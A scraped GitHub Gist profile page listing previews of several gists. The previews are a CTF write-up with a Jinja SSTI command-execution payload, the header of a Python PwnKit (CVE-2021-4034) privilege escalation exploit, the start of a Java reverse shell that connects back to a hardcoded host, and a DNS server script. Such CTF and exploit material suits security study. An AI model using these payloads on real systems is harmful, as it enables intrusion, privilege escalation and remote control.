Skip to content

Instantly share code, notes, and snippets.

View Ayoub-2's full-sized avatar
🎯
Focusing

Ayoub Ayoub-2

🎯
Focusing
  • Morocco
View GitHub Profile
@DauHoangTai
DauHoangTai / Deafcon.md
Created April 30, 2022 18:52
NahamCon CTF 2022 - Solution

Challenge Deafcon (SSTI and Normalize)

name=taidh&email=taidh@cc{{joiner.__init__.__globals__.os.popen('cat${IFS}flag*').read()}}
@Ayoub-2
Ayoub-2 / CVE-2021-4034.py
Last active August 9, 2022 22:23
CVE-2021-4034 exploit in python
#!/bin/python
# Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by aynkl
"""
CVE information:
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
Usage :
$ id
uid=1000(user) gid=1001(user) groups=1001(user)
$ python3 CVE-2021-4034.py
# whoami
@caseydunham
caseydunham / C.java
Created October 3, 2017 13:42
Java Reverse Shell
// Not sure where I originally got this from.
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class C {
public C() throws Exception {
String host="10.0.0.90";
@pklaus
pklaus / ddnsserver.py
Last active February 27, 2024 11:41 — forked from andreif/Simple DNS server (UDP and TCP) in Python using dnslib.py
Simple DNS server (UDP and TCP) in Python using dnslib.py
#!/usr/bin/env python
"""
LICENSE http://www.apache.org/licenses/LICENSE-2.0
"""
import argparse
import datetime
import sys
import time
import threading